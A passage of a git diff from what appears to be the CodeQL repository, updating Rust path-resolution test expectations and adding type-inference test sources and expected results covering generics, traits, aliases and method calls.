 | main.rs:481:5:481:5 | g | my2/nested2.rs:7:9:9:9 | fn g |
-| main.rs:482:5:482:9 | crate | main.rs:1:1:498:2 | SourceFile |
+| main.rs:482:5:482:9 | crate | main.rs:0:0:0:0 | Crate(main@0.0.1) |
 | main.rs:482:5:482:12 | ...::h | main.rs:50:1:69:1 | fn h |
 | main.rs:483:5:483:6 | m1 | main.rs:13:1:37:1 | mod m1 |
 | main.rs:483:5:483:10 | ...::m2 | main.rs:18:5:36:5 | mod m2 |
@@ -249,10 +254,29 @@ resolvePath
 | main.rs:496:5:496:10 | ...::f | main.rs:417:5:441:5 | fn f |
 | main.rs:497:5:497:7 | m17 | main.rs:444:1:474:1 | mod m17 |
 | main.rs:497:5:497:10 | ...::f | main.rs:468:5:473:5 | fn f |
+| main.rs:498:5:498:11 | nested6 | my2/nested2.rs:14:5:18:5 | mod nested6 |
+| main.rs:498:5:498:14 | ...::f | my2/nested2.rs:15:9:17:9 | fn f |
+| main.rs:499:5:499:11 | nested8 | my2/nested2.rs:22:5:26:5 | mod nested8 |
+| main.rs:499:5:499:14 | ...::f | my2/nested2.rs:23:9:25:9 | fn f |
+| main.rs:500:5:500:7 | my3 | my2/mod.rs:12:1:12:12 | mod my3 |
+| main.rs:500:5:500:10 | ...::f | my2/my3/mod.rs:1:1:5:1 | fn f |
 | my2/mod.rs:5:5:5:11 | nested2 | my2/mod.rs:1:1:1:16 | mod nested2 |
 | my2/mod.rs:5:5:5:20 | ...::nested3 | my2/nested2.rs:1:1:11:1 | mod nested3 |
 | my2/mod.rs:5:5:5:29 | ...::nested4 | my2/nested2.rs:2:5:10:5 | mod nested4 |
 | my2/mod.rs:5:5:5:32 | ...::f | my2/nested2.rs:3:9:5:9 | fn f |
+| my2/mod.rs:8:9:8:15 | nested2 | my2/mod.rs:1:1:1:16 | mod nested2 |
+| my2/mod.rs:8:9:8:24 | ...::nested5 | my2/nested2.rs:13:1:19:1 | mod nested5 |
+| my2/mod.rs:10:9:10:15 | nested2 | my2/mod.rs:1:1:1:16 | mod nested2 |
+| my2/mod.rs:10:9:10:24 | ...::nested7 | my2/nested2.rs:21:1:27:1 | mod nested7 |
+| my2/mod.rs:10:9:10:33 | ...::nested8 | my2/nested2.rs:22:5:26:5 | mod nested8 |
+| my2/mod.rs:10:37:10:40 | self | my2/nested2.rs:22:5:26:5 | mod nested8 |
+| my2/my3/mod.rs:3:5:3:5 | g | my2/mod.rs:3:1:6:1 | fn g |
+| my2/my3/mod.rs:4:5:4:5 | h | main.rs:50:1:69:1 | fn h |
+| my2/my3/mod.rs:7:5:7:9 | super | my2/mod.rs:1:1:12:13 | SourceFile |
+| my2/my3/mod.rs:7:5:7:16 | ...::super | main.rs:1:1:501:2 | SourceFile |
+| my2/my3/mod.rs:7:5:7:19 | ...::h | main.rs:50:1:69:1 | fn h |
+| my2/my3/mod.rs:8:5:8:9 | super | my2/mod.rs:1:1:12:13 | SourceFile |
+| my2/my3/mod.rs:8:5:8:12 | ...::g | my2/mod.rs:3:1:6:1 | fn g |
 | my.rs:3:5:3:10 | nested | my.rs:1:1:1:15 | mod nested |
 | my.rs:3:5:3:13 | ...::g | my/nested.rs:19:1:22:1 | fn g |
 | my.rs:11:5:11:5 | g | my/nested.rs:19:1:22:1 | fn g |
diff --git a/rust/ql/test/library-tests/path-resolution/path-resolution.ql b/rust/ql/test/library-tests/path-resolution/path-resolution.ql
index bce15517b570..e8aebeaa0ef6 100644
--- a/rust/ql/test/library-tests/path-resolution/path-resolution.ql
+++ b/rust/ql/test/library-tests/path-resolution/path-resolution.ql
@@ -1,44 +1,8 @@
 import rust
-import codeql.rust.elements.internal.PathResolution
-import utils.test.InlineExpectationsTest
+import codeql.rust.internal.PathResolution
+import utils.test.PathResolutionInlineExpectationsTest
+import TestUtils
 
-query predicate mod(Module m) { any() }
+query predicate mod(Module m) { toBeTested(m) }
 
-query predicate resolvePath(Path p, ItemNode i) { i = resolvePath(p) }
-
-module ResolveTest implements TestSig {
-  string getARelevantTag() { result = "item" }
-
-  private predicate itemAt(ItemNode i, string filepath, int line, boolean inMacro) {
-    i.getLocation().hasLocationInfo(filepath, _, _, line, _) and
-    if i.isInMacroExpansion() then inMacro = true else inMacro = false
-  }
-
-  private predicate commmentAt(string text, string filepath, int line) {
-    exists(Comment c |
-      c.getLocation().hasLocationInfo(filepath, line, _, _, _) and
-      c.getCommentText() = text
-    )
-  }
-
-  private predicate item(ItemNode i, string value) {
-    exists(string filepath, int line, boolean inMacro | itemAt(i, filepath, line, inMacro) |
-      commmentAt(value, filepath, line) and inMacro = false
-      or
-      not (commmentAt(_, filepath, line) and inMacro = false) and
-      value = i.getName()
-    )
-  }
-
-  predicate hasActualResult(Location location, string element, string tag, string value) {
-    exists(Path p |
-      not p = any(Path parent).getQualifier() and
-      location = p.getLocation() and
-      element = p.toString() and
-      item(resolvePath(p), value) and
-      tag = "item"
-    )
-  }
-}
-
-import MakeTest<ResolveTest>
+query predicate resolvePath(Path p, ItemNode i) { toBeTested(p) and i = resolvePath(p) }
diff --git a/rust/ql/test/library-tests/type-inference/CONSISTENCY/ExtractionConsistency.expected b/rust/ql/test/library-tests/type-inference/CONSISTENCY/ExtractionConsistency.expected
new file mode 100644
index 000000000000..0b4e0c12d0c8
--- /dev/null
+++ b/rust/ql/test/library-tests/type-inference/CONSISTENCY/ExtractionConsistency.expected
@@ -0,0 +1,2 @@
+extractionWarning
+| loop/main.rs:1:1:1:1 | semantic analyzer unavailable (not included as a module) |
diff --git a/rust/ql/test/library-tests/type-inference/loop/main.rs b/rust/ql/test/library-tests/type-inference/loop/main.rs
new file mode 100644
index 000000000000..da1d19e3f62d
--- /dev/null
+++ b/rust/ql/test/library-tests/type-inference/loop/main.rs
@@ -0,0 +1,14 @@
+// The code in this file is not valid Rust code, but it is used to test that
+// our type inference implementation does not run into an infinite loop.
+
+struct S<T>(T);
+
+trait T1<T>: T2<S<T>> {
+    fn foo(self) {}
+}
+
+trait T2<T>: T1<S<T>> {
+    fn bar(self) {
+        self.foo()
+    }
+}
diff --git a/rust/ql/test/library-tests/type-inference/loop/options.yml b/rust/ql/test/library-tests/type-inference/loop/options.yml
new file mode 100644
index 000000000000..cf148dd35f86
--- /dev/null
+++ b/rust/ql/test/library-tests/type-inference/loop/options.yml
@@ -0,0 +1 @@
+qltest_cargo_check: false
diff --git a/rust/ql/test/library-tests/type-inference/main.rs b/rust/ql/test/library-tests/type-inference/main.rs
new file mode 100644
index 000000000000..287dbeb29c2c
--- /dev/null
+++ b/rust/ql/test/library-tests/type-inference/main.rs
@@ -0,0 +1,786 @@
+mod field_access {
+    #[derive(Debug)]
+    struct S;
+
+    #[derive(Debug)]
+    struct MyThing {
+        a: S,
+    }
+
+    #[derive(Debug)]
+    enum MyOption<T> {
+        MyNone(),
+        MySome(T),
+    }
+
+    #[derive(Debug)]
+    struct GenericThing<A> {
+        a: A,
+    }
+
+    struct OptionS {
+        a: MyOption<S>,
+    }
+
+    fn simple_field_access() {
+        let x = MyThing { a: S };
+        println!("{:?}", x.a);
+    }
+
+    fn generic_field_access() {
+        // Explicit type argument
+        let x = GenericThing::<S> { a: S };
+        println!("{:?}", x.a);
+
+        // Implicit type argument
+        let y = GenericThing { a: S };
+        println!("{:?}", x.a);
+
+        // The type of the field `a` can only be inferred from the concrete type
+        // in the struct declaration.
+        let x = OptionS {
+            a: MyOption::MyNone(),
+        };
+        println!("{:?}", x.a);
+
+        // The type of the field `a` can only be inferred from the type argument
+        let x = GenericThing::<MyOption<S>> {
+            a: MyOption::MyNone(),
+        };
+        println!("{:?}", x.a);
+
+        let mut x = GenericThing {
+            a: MyOption::MyNone(),
+        };
+        // Only after this access can we infer the type parameter of `x`
+        let a: MyOption<S> = x.a;
+        println!("{:?}", a);
+    }
+
+    pub fn f() {
+        simple_field_access();
+        generic_field_access();
+    }
+}
+
+mod method_impl {
+    pub struct Foo {}
+
+    impl Foo {
+        pub fn m1(self) -> Self {
+            self
+        }
+
+        pub fn m2(self) -> Foo {
+            self
+        }
+    }
+
+    pub fn f() -> Foo {
+        println!("main.rs::m1::f");
+        let x = Foo {};
+        let y: _ = Foo {};
+        x
+    }
+
+    pub fn g(x: Foo, y: Foo) -> Foo {
+        println!("main.rs::m1::g");
+        x.m1();
+        y.m2()
+    }
+}
+
+mod method_non_parametric_impl {
+    #[derive(Debug)]
+    struct MyThing<A> {
+        a: A,
+    }
+
+    #[derive(Debug)]
+    struct S1;
+    #[derive(Debug)]
+    struct S2;
+
+    impl MyThing<S1> {
+        fn m1(self) -> S1 {
+            self.a
+        }
+    }
+
+    impl MyThing<S2> {
+        fn m1(self) -> Self {
+            Self { a: self.a }
+        }
+    }
+
+    impl<T> MyThing<T> {
+        fn m2(self) -> T {
+            self.a
+        }
+    }
+
+    pub fn f() {
+        let x = MyThing { a: S1 };
+        let y = MyThing { a: S2 };
+
+        // simple field access
+        println!("{:?}", x.a);
+        println!("{:?}", y.a);
+
+        println!("{:?}", x.m1()); // missing call target
+        println!("{:?}", y.m1().a); // missing call target
+
+        let x = MyThing { a: S1 };
+        let y = MyThing { a: S2 };
+
+        println!("{:?}", x.m2());
+        println!("{:?}", y.m2());
+    }
+}
+
+mod method_non_parametric_trait_impl {
+    #[derive(Debug)]
+    struct MyThing<A> {
+        a: A,
+    }
+
+    #[derive(Debug)]
+    struct S1;
+    #[derive(Debug)]
+    struct S2;
+
+    trait MyTrait<A> {
+        fn m1(self) -> A;
+
+        fn m2(self) -> Self
+        where
+            Self: Sized,
+        {
+            self
+        }
+    }
+
+    fn call_trait_m1<T1, T2: MyTrait<T1>>(x: T2) -> T1 {
+        x.m1()
+    }
+
+    impl MyTrait<S1> for MyThing<S1> {
+        fn m1(self) -> S1 {
+            self.a
+        }
+    }
+
+    impl MyTrait<Self> for MyThing<S2> {
+        fn m1(self) -> Self {
+            Self { a: self.a }
+        }
+    }
+
+    pub fn f() {
+        let x = MyThing { a: S1 };
+        let y = MyThing { a: S2 };
+
+        println!("{:?}", x.m1()); // missing call target
+        println!("{:?}", y.m1().a); // missing call target
+
+        let x = MyThing { a: S1 };
+        let y = MyThing { a: S2 };
+
+        println!("{:?}", call_trait_m1(x)); // missing
+        println!("{:?}", call_trait_m1(y).a); // missing
+    }
+}
+
+mod type_parameter_bounds {
+    use std::fmt::Debug;
+
+    #[derive(Debug)]
+    struct S1;
+
+    #[derive(Debug)]
+    struct S2;
+
+    // Two traits with the same method name.
+
+    trait FirstTrait<FT> {
+        fn method(self) -> FT;
+    }
+
+    trait SecondTrait<ST> {
+        fn method(self) -> ST;
+    }
+
+    fn call_first_trait_per_bound<I: Debug, T: SecondTrait<I>>(x: T) {
+        // The type parameter bound determines which method this call is resolved to.
+        let s1 = x.method();
+        println!("{:?}", s1);
+    }
+
+    fn call_second_trait_per_bound<I: Debug, T: SecondTrait<I>>(x: T) {
+        // The type parameter bound determines which method this call is resolved to.
+        let s2 = x.method();
+        println!("{:?}", s2);
+    }
+
+    fn trait_bound_with_type<T: FirstTrait<S1>>(x: T) {
+        let s = x.method();
+        println!("{:?}", s);
+    }
+
+    fn trait_per_bound_with_type<T: FirstTrait<S1>>(x: T) {
+        let s = x.method();
+        println!("{:?}", s);
+    }
+
+    trait Pair<P1, P2> {
+        fn fst(self) -> P1;
+
+        fn snd(self) -> P2;
+    }
+
+    fn call_trait_per_bound_with_type_1<T: Pair<S1, S2>>(x: T, y: T) {
+        // The type in the type parameter bound determines the return type.
+        let s1 = x.fst();
+        let s2 = y.snd();
+        println!("{:?}, {:?}", s1, s2);
+    }
+
+    fn call_trait_per_bound_with_type_2<T2: Debug, T: Pair<S1, T2>>(x: T, y: T) {
+        // The type in the type parameter bound determines the return type.
+        let s1 = x.fst();
+        let s2 = y.snd();
+        println!("{:?}, {:?}", s1, s2);
+    }
+}
+
+mod function_trait_bounds {
+    #[derive(Debug)]
+    struct MyThing<T> {
+        a: T,
+    }
+
+    #[derive(Debug)]
+    struct S1;
+    #[derive(Debug)]
+    struct S2;
+
+    trait MyTrait<A> {
+        fn m1(self) -> A;
+
+        fn m2(self) -> A
+        where
+            Self: Sized,
+        {
+            self.m1()
+        }
+    }
+
+    // Type parameter with bound occurs in the root of a parameter type.
+    fn call_trait_m1<T1, T2: MyTrait<T1>>(x: T2) -> T1 {
+        x.m1()
+    }
+
+    // Type parameter with bound occurs nested within another type.
+    fn call_trait_thing_m1<T1, T2: MyTrait<T1>>(x: MyThing<T2>) -> T1 {
+        x.a.m1()
+    }
+
+    impl<T> MyTrait<T> for MyThing<T> {
+        fn m1(self) -> T {
+            self.a
+        }
+    }
+
+    pub fn f() {
+        let x = MyThing { a: S1 };
+        let y = MyThing { a: S2 };
+
+        println!("{:?}", x.m1());
+        println!("{:?}", y.m1());
+
+        let x = MyThing { a: S1 };
+        let y = MyThing { a: S2 };
+
+        println!("{:?}", x.m2());
+        println!("{:?}", y.m2());
+
+        let x2 = MyThing { a: S1 };
+        let y2 = MyThing { a: S2 };
+
+        println!("{:?}", call_trait_m1(x2));
+        println!("{:?}", call_trait_m1(y2));
+
+        let x3 = MyThing {
+            a: MyThing { a: S1 },
+        };
+        let y3 = MyThing {
+            a: MyThing { a: S2 },
+        };
+
+        println!("{:?}", call_trait_thing_m1(x3));
+        println!("{:?}", call_trait_thing_m1(y3));
+    }
+}
+
+mod trait_associated_type {
+    trait MyTrait {
+        type AssociatedType;
+
+        fn m1(self) -> Self::AssociatedType;
+
+        fn m2(self) -> Self::AssociatedType
+        where
+            Self::AssociatedType: Default,
+            Self: Sized,
+        {
+            Self::AssociatedType::default()
+        }
+    }
+
+    #[derive(Debug, Default)]
+    struct S;
+
+    impl MyTrait for S {
+        type AssociatedType = S;
+
+        fn m1(self) -> Self::AssociatedType {
+            S
+        }
+    }
+
+    pub fn f() {
+        let x = S;
+        println!("{:?}", x.m1());
+
+        let x = S;
+        println!("{:?}", x.m2()); // missing
+    }
+}
+
+mod generic_enum {
+    #[derive(Debug)]
+    enum MyEnum<A> {
+        C1(A),
+        C2 { a: A },
+    }
+
+    #[derive(Debug)]
+    struct S1;
+    #[derive(Debug)]
+    struct S2;
+
+    impl<T> MyEnum<T> {
+        fn m1(self) -> T {
+            match self {
+                MyEnum::C1(a) => a,
+                MyEnum::C2 { a } => a,
+            }
+        }
+    }
+
+    pub fn f() {
+        let x = MyEnum::C1(S1);
+        let y = MyEnum::C2 { a: S2 };
+
+        println!("{:?}", x.m1());
+        println!("{:?}", y.m1());
+    }
+}
+
+mod method_supertraits {
+    #[derive(Debug)]
+    struct MyThing<A> {
+        a: A,
+    }
+
+    #[derive(Debug)]
+    struct MyThing2<A> {
+        a: A,
+    }
+
+    #[derive(Debug)]
+    struct S1;
+    #[derive(Debug)]
+    struct S2;
+
+    trait MyTrait1<Tr1> {
+        fn m1(self) -> Tr1;
+    }
+
+    trait MyTrait2<Tr2>: MyTrait1<Tr2> {
+        fn m2(self) -> Tr2
+        where
+            Self: Sized,
+        {
+            if 1 + 1 > 2 {
+                self.m1()
+            } else {
+                Self::m1(self)
+            }
+        }
+    }
+
+    trait MyTrait3<Tr3>: MyTrait2<MyThing<Tr3>> {
+        fn m3(self) -> Tr3
+        where
+            Self: Sized,
+        {
+            if 1 + 1 > 2 {
+                self.m2().a
+            } else {
+                Self::m2(self).a
+            }
+        }
+    }
+
+    impl<T> MyTrait1<T> for MyThing<T> {
+        fn m1(self) -> T {
+            self.a
+        }
+    }
+
+    impl<T> MyTrait2<T> for MyThing<T> {}
+
+    impl<T> MyTrait1<MyThing<T>> for MyThing2<T> {
+        fn m1(self) -> MyThing<T> {
+            MyThing { a: self.a }
+        }
+    }
+
+    impl<T> MyTrait2<MyThing<T>> for MyThing2<T> {}
+
+    impl<T> MyTrait3<T> for MyThing2<T> {}
+
+    pub fn f() {
+        let x = MyThing { a: S1 };
+        let y = MyThing { a: S2 };
+
+        println!("{:?}", x.m1());
+        println!("{:?}", y.m1());
+
+        let x = MyThing { a: S1 };
+        let y = MyThing { a: S2 };
+
+        println!("{:?}", x.m2());
+        println!("{:?}", y.m2());
+
+        let x = MyThing2 { a: S1 };
+        let y = MyThing2 { a: S2 };
+
+        println!("{:?}", x.m3());
+        println!("{:?}", y.m3());
+    }
+}
+
+mod function_trait_bounds_2 {
+    use std::convert::From;
+    use std::fmt::Debug;
+
+    #[derive(Debug)]
+    struct S1;
+
+    #[derive(Debug)]
+    struct S2;
+
+    trait Trait: Debug {}
+
+    impl Trait for S1 {}
+
+    fn id<T: ?Sized>(x: &T) -> &T {
+        x
+    }
+
+    impl Into<S2> for S1 {
+        fn into(self) -> S2 {
+            S2
+        }
+    }
+
+    fn into<T1, T2>(x: T1) -> T2
+    where
+        T1: Into<T2>,
+    {
+        x.into()
+    }
+
+    pub fn f() {
+        let x = S1;
+        println!("{:?}", id(&x));
+
+        let x = S1;
+        println!("{:?}", id::<S1>(&x));
+
+        let x = S1;
+        println!("{:?}", id::<dyn Trait>(&x)); // incorrectly has type `S1` instead of `Trait`
+
+        let x = S1;
+        into::<S1, S2>(x);
+
+        let x = S1;
+        let y: S2 = into(x);
+    }
+}
+
+mod type_aliases {
+    #[derive(Debug)]
+    enum PairOption<Fst, Snd> {
+        PairNone(),
+        PairFst(Fst),
+        PairSnd(Snd),
+        PairBoth(Fst, Snd),
+    }
+
+    #[derive(Debug)]
+    struct S1;
+
+    #[derive(Debug)]
+    struct S2;
+
+    #[derive(Debug)]
+    struct S3;
+
+    // Non-generic type alias that fully applies the generic type
+    type MyPair = PairOption<S1, S2>;
+
+    // Generic type alias that partially applies the generic type
+    type AnotherPair<Thr> = PairOption<S2, Thr>;
+
+    pub fn f() {
+        // Type can be inferred from the constructor
+        let p1: MyPair = PairOption::PairBoth(S1, S2);
+        println!("{:?}", p1);
+
+        // Type can be only inferred from the type alias
+        let p2: MyPair = PairOption::PairNone(); // types for `Fst` and `Snd` missing
+        println!("{:?}", p2);
+
+        // First type from alias, second from constructor
+        let p3: AnotherPair<_> = PairOption::PairSnd(S3); // type for `Fst` missing
+        println!("{:?}", p3);
+
+        // First type from alias definition, second from argument to alias
+        let p3: AnotherPair<S3> = PairOption::PairNone(); // type for `Snd` missing, spurious `S3` for `Fst`
+        println!("{:?}", p3);
+    }
+}
+
+mod option_methods {
+    #[derive(Debug)]
+    enum MyOption<T> {
+        MyNone(),
+        MySome(T),
+    }
+
+    trait MyTrait<S> {
+        fn set(&mut self, value: S);
+
+        fn call_set(&mut self, value: S) {
+            self.set(value);
+        }
+    }
+
+    impl<T> MyTrait<T> for MyOption<T> {
+        fn set(&mut self, value: T) {}
+    }
+
+    impl<T> MyOption<T> {
+        fn new() -> Self {
+            MyOption::MyNone()
+        }
+    }
+
+    impl<T> MyOption<MyOption<T>> {
+        fn flatten(self) -> MyOption<T> {
+            match self {
+                MyOption::MyNone() => MyOption::MyNone(),
+                MyOption::MySome(x) => x,
+            }
+        }
+    }
+
+    #[derive(Debug)]
+    struct S;
+
+    pub fn f() {
+        let x1 = MyOption::<S>::new(); // `::new` missing type `S`
+        println!("{:?}", x1);
+
+        let mut x2 = MyOption::new();
+        x2.set(S);
+        println!("{:?}", x2);
+
+        let mut x3 = MyOption::new(); // missing type `S` from `MyOption<S>` (but can resolve `MyTrait<S>`)
+        x3.call_set(S);
+        println!("{:?}", x3);
+
+        let mut x4 = MyOption::new();
+        MyOption::set(&mut x4, S);
+        println!("{:?}", x4);
+
+        let x5 = MyOption::MySome(MyOption::<S>::MyNone());
+        println!("{:?}", x5.flatten()); // missing call target
+
+        let x6 = MyOption::MySome(MyOption::<S>::MyNone());
+        println!("{:?}", MyOption::<MyOption<S>>::flatten(x6));
+
+        let from_if = if 1 + 1 > 2 {
+            MyOption::MyNone()
+        } else {
+            MyOption::MySome(S)
+        };
+        println!("{:?}", from_if);
+
+        let from_match = match 1 + 1 > 2 {
+            true => MyOption::MyNone(),
+            false => MyOption::MySome(S),
+        };
+        println!("{:?}", from_match);
+
+        let from_loop = loop {
+            if 1 + 1 > 2 {
+                break MyOption::MyNone();
+            }
+            break MyOption::MySome(S);
+        };
+        println!("{:?}", from_loop);
+    }
+}
+
+mod method_call_type_conversion {
+
+    #[derive(Debug, Copy, Clone)]
+    struct S<T>(T);
+
+    #[derive(Debug, Copy, Clone)]
+    struct S2;
+
+    impl<T> S<T> {
+        fn m1(self) -> T {
+            self.0
+        }
+
+        fn m2(&self) -> &T {
+            &self.0
+        }
+
+        fn m3(self: &S<T>) -> &T {
+            &self.0
+        }
+    }
+
+    pub fn f() {
+        let x1 = S(S2);
+        println!("{:?}", x1.m1());
+
+        let x2 = S(S2);
+        // implicit borrow
+        println!("{:?}", x2.m2());
+        println!("{:?}", x2.m3());
+
+        let x3 = S(S2);
+        // explicit borrow
+        println!("{:?}", S::<S2>::m2(&x3));
+        println!("{:?}", S::<S2>::m3(&x3));
+
+        let x4 = &S(S2);
+        // explicit borrow
+        println!("{:?}", x4.m2());
+        println!("{:?}", x4.m3());
+
+        let x5 = &S(S2);
+        // implicit dereference
+        println!("{:?}", x5.m1());
+        println!("{:?}", x5.0);
+
+        let x6 = &S(S2);
+        // explicit dereference
+        println!("{:?}", (*x6).m1());
+    }
+}
+
+mod trait_implicit_self_borrow {
+    trait MyTrait {
+        fn foo(&self) -> &Self;
+
+        fn bar(&self) -> &Self {
+            self.foo()
+        }
+    }
+
+    struct MyStruct;
+
+    impl MyTrait for MyStruct {
+        fn foo(&self) -> &MyStruct {
+            self
+        }
+    }
+
+    pub fn f() {
+        let x = MyStruct;
+        x.bar();
+    }
+}
+
+mod implicit_self_borrow {
+    struct S;
+
+    struct MyStruct<T>(T);
+
+    impl<T> MyStruct<T> {
+        fn foo(&self) -> &Self {
+            self
+        }
+    }
+
+    pub fn f() {
+        let x = MyStruct(S);
+        x.foo();
+    }
+}
+
+mod borrowed_typed {
+    struct S;
+
+    impl S {
+        fn f1(&self) -> &Self {
+            &&&self
+        }
+
+        fn f2(self: &Self) -> &Self {
+            &&&self
+        }
+
+        fn f3(x: &Self) -> &Self {
+            x
+        }
+
+        fn f4(x: &Self) -> &Self {
+            &&&x
+        }
+    }
+
+    pub fn f() {
+        let x = S {};
+        x.f1();
+        x.f2();
+        S::f3(&x);
+    }
+}
+
+fn main() {
+    field_access::f();
+    method_impl::f();
+    method_impl::g(method_impl::Foo {}, method_impl::Foo {});
+    method_non_parametric_impl::f();
+    method_non_parametric_trait_impl::f();
+    function_trait_bounds::f();
+    trait_associated_type::f();
+    generic_enum::f();
+    method_supertraits::f();
+    function_trait_bounds_2::f();
+    option_methods::f();
+    method_call_type_conversion::f();
+    trait_implicit_self_borrow::f();
+    implicit_self_borrow::f();
+    borrowed_typed::f();
+}
diff --git a/rust/ql/test/library-tests/type-inference/type-inference.expected b/rust/ql/test/library-tests/type-inference/type-inference.expected
new file mode 100644
index 000000000000..6d92dd08f12b
--- /dev/null
+++ b/rust/ql/test/library-tests/type-inference/type-inference.expected
@@ -0,0 +1,1117 @@
+inferType
+| loop/main.rs:7:12:7:15 | SelfParam |  | loop/main.rs:6:1:8:1 | trait T1 |
+| loop/main.rs:7:12:7:15 | SelfParam | T | loop/main.rs:6:10:6:10 | T |
+| loop/main.rs:11:12:11:15 | SelfParam |  | loop/main.rs:6:1:8:1 | trait T1 |
+| loop/main.rs:11:12:11:15 | SelfParam |  | loop/main.rs:10:1:14:1 | trait T2 |
+| loop/main.rs:11:12:11:15 | SelfParam | T | loop/main.rs:4:1:4:15 | struct S |
+| loop/main.rs:11:12:11:15 | SelfParam | T | loop/main.rs:10:10:10:10 | T |
+| loop/main.rs:11:12:11:15 | SelfParam | T.T | loop/main.rs:4:1:4:15 | struct S |
+| loop/main.rs:11:12:11:15 | SelfParam | T.T | loop/main.rs:10:10:10:10 | T |
+| loop/main.rs:11:12:11:15 | SelfParam | T.T.T | loop/main.rs:4:1:4:15 | struct S |
+| loop/main.rs:11:12:11:15 | SelfParam | T.T.T.T | loop/main.rs:4:1:4:15 | struct S |
+| loop/main.rs:11:12:11:15 | SelfParam | T.T.T.T | loop/main.rs:10:10:10:10 | T |
+| loop/main.rs:11:12:11:15 | SelfParam | T.T.T.T.T | loop/main.rs:4:1:4:15 | struct S |
+| loop/main.rs:11:12:11:15 | SelfParam | T.T.T.T.T.T | loop/main.rs:4:1:4:15 | struct S |
+| loop/main.rs:11:12:11:15 | SelfParam | T.T.T.T.T.T | loop/main.rs:10:10:10:10 | T |
+| loop/main.rs:11:12:11:15 | SelfParam | T.T.T.T.T.T.T | loop/main.rs:4:1:4:15 | struct S |
+| loop/main.rs:11:12:11:15 | SelfParam | T.T.T.T.T.T.T.T | loop/main.rs:4:1:4:15 | struct S |
+| loop/main.rs:11:12:11:15 | SelfParam | T.T.T.T.T.T.T.T | loop/main.rs:10:10:10:10 | T |
+| loop/main.rs:11:12:11:15 | SelfParam | T.T.T.T.T.T.T.T.T | loop/main.rs:4:1:4:15 | struct S |
+| loop/main.rs:11:12:11:15 | SelfParam | T.T.T.T.T.T.T.T.T.T | loop/main.rs:4:1:4:15 | struct S |
+| loop/main.rs:11:12:11:15 | SelfParam | T.T.T.T.T.T.T.T.T.T | loop/main.rs:10:10:10:10 | T |
+| loop/main.rs:12:9:12:12 | self |  | loop/main.rs:6:1:8:1 | trait T1 |
+| loop/main.rs:12:9:12:12 | self |  | loop/main.rs:10:1:14:1 | trait T2 |
+| loop/main.rs:12:9:12:12 | self | T | loop/main.rs:4:1:4:15 | struct S |
+| loop/main.rs:12:9:12:12 | self | T | loop/main.rs:10:10:10:10 | T |
+| loop/main.rs:12:9:12:12 | self | T.T | loop/main.rs:4:1:4:15 | struct S |
+| loop/main.rs:12:9:12:12 | self | T.T | loop/main.rs:10:10:10:10 | T |
+| loop/main.rs:12:9:12:12 | self | T.T.T | loop/main.rs:4:1:4:15 | struct S |
+| loop/main.rs:12:9:12:12 | self | T.T.T.T | loop/main.rs:4:1:4:15 | struct S |
+| loop/main.rs:12:9:12:12 | self | T.T.T.T | loop/main.rs:10:10:10:10 | T |
+| loop/main.rs:12:9:12:12 | self | T.T.T.T.T | loop/main.rs:4:1:4:15 | struct S |
+| loop/main.rs:12:9:12:12 | self | T.T.T.T.T.T | loop/main.rs:4:1:4:15 | struct S |
+| loop/main.rs:12:9:12:12 | self | T.T.T.T.T.T | loop/main.rs:10:10:10:10 | T |
+| loop/main.rs:12:9:12:12 | self | T.T.T.T.T.T.T | loop/main.rs:4:1:4:15 | struct S |
+| loop/main.rs:12:9:12:12 | self | T.T.T.T.T.T.T.T | loop/main.rs:4:1:4:15 | struct S |
+| loop/main.rs:12:9:12:12 | self | T.T.T.T.T.T.T.T | loop/main.rs:10:10:10:10 | T |
+| loop/main.rs:12:9:12:12 | self | T.T.T.T.T.T.T.T.T | loop/main.rs:4:1:4:15 | struct S |
+| loop/main.rs:12:9:12:12 | self | T.T.T.T.T.T.T.T.T.T | loop/main.rs:4:1:4:15 | struct S |
+| loop/main.rs:12:9:12:12 | self | T.T.T.T.T.T.T.T.T.T | loop/main.rs:10:10:10:10 | T |
+| main.rs:26:13:26:13 | x |  | main.rs:5:5:8:5 | struct MyThing |
+| main.rs:26:17:26:32 | MyThing {...} |  | main.rs:5:5:8:5 | struct MyThing |
+| main.rs:26:30:26:30 | S |  | main.rs:2:5:3:13 | struct S |
+| main.rs:27:26:27:26 | x |  | main.rs:5:5:8:5 | struct MyThing |
+| main.rs:27:26:27:28 | x.a |  | main.rs:2:5:3:13 | struct S |
+| main.rs:32:13:32:13 | x |  | main.rs:16:5:19:5 | struct GenericThing |
+| main.rs:32:13:32:13 | x | A | main.rs:2:5:3:13 | struct S |
+| main.rs:32:17:32:42 | GenericThing::<...> {...} |  | main.rs:16:5:19:5 | struct GenericThing |
+| main.rs:32:17:32:42 | GenericThing::<...> {...} | A | main.rs:2:5:3:13 | struct S |
+| main.rs:32:40:32:40 | S |  | main.rs:2:5:3:13 | struct S |
+| main.rs:33:26:33:26 | x |  | main.rs:16:5:19:5 | struct GenericThing |
+| main.rs:33:26:33:26 | x | A | main.rs:2:5:3:13 | struct S |
+| main.rs:33:26:33:28 | x.a |  | main.rs:2:5:3:13 | struct S |
+| main.rs:36:13:36:13 | y |  | main.rs:16:5:19:5 | struct GenericThing |
+| main.rs:36:13:36:13 | y | A | main.rs:2:5:3:13 | struct S |
+| main.rs:36:17:36:37 | GenericThing {...} |  | main.rs:16:5:19:5 | struct GenericThing |
+| main.rs:36:17:36:37 | GenericThing {...} | A | main.rs:2:5:3:13 | struct S |
+| main.rs:36:35:36:35 | S |  | main.rs:2:5:3:13 | struct S |
+| main.rs:37:26:37:26 | x |  | main.rs:16:5:19:5 | struct GenericThing |
+| main.rs:37:26:37:26 | x | A | main.rs:2:5:3:13 | struct S |
+| main.rs:37:26:37:28 | x.a |  | main.rs:2:5:3:13 | struct S |
+| main.rs:41:13:41:13 | x |  | main.rs:21:5:23:5 | struct OptionS |
+| main.rs:41:17:43:9 | OptionS {...} |  | main.rs:21:5:23:5 | struct OptionS |
+| main.rs:42:16:42:33 | ...::MyNone(...) |  | main.rs:10:5:14:5 | enum MyOption |
+| main.rs:42:16:42:33 | ...::MyNone(...) | T | main.rs:2:5:3:13 | struct S |
+| main.rs:44:26:44:26 | x |  | main.rs:21:5:23:5 | struct OptionS |
+| main.rs:44:26:44:28 | x.a |  | main.rs:10:5:14:5 | enum MyOption |
+| main.rs:44:26:44:28 | x.a | T | main.rs:2:5:3:13 | struct S |
+| main.rs:47:13:47:13 | x |  | main.rs:16:5:19:5 | struct GenericThing |
+| main.rs:47:13:47:13 | x | A | main.rs:10:5:14:5 | enum MyOption |
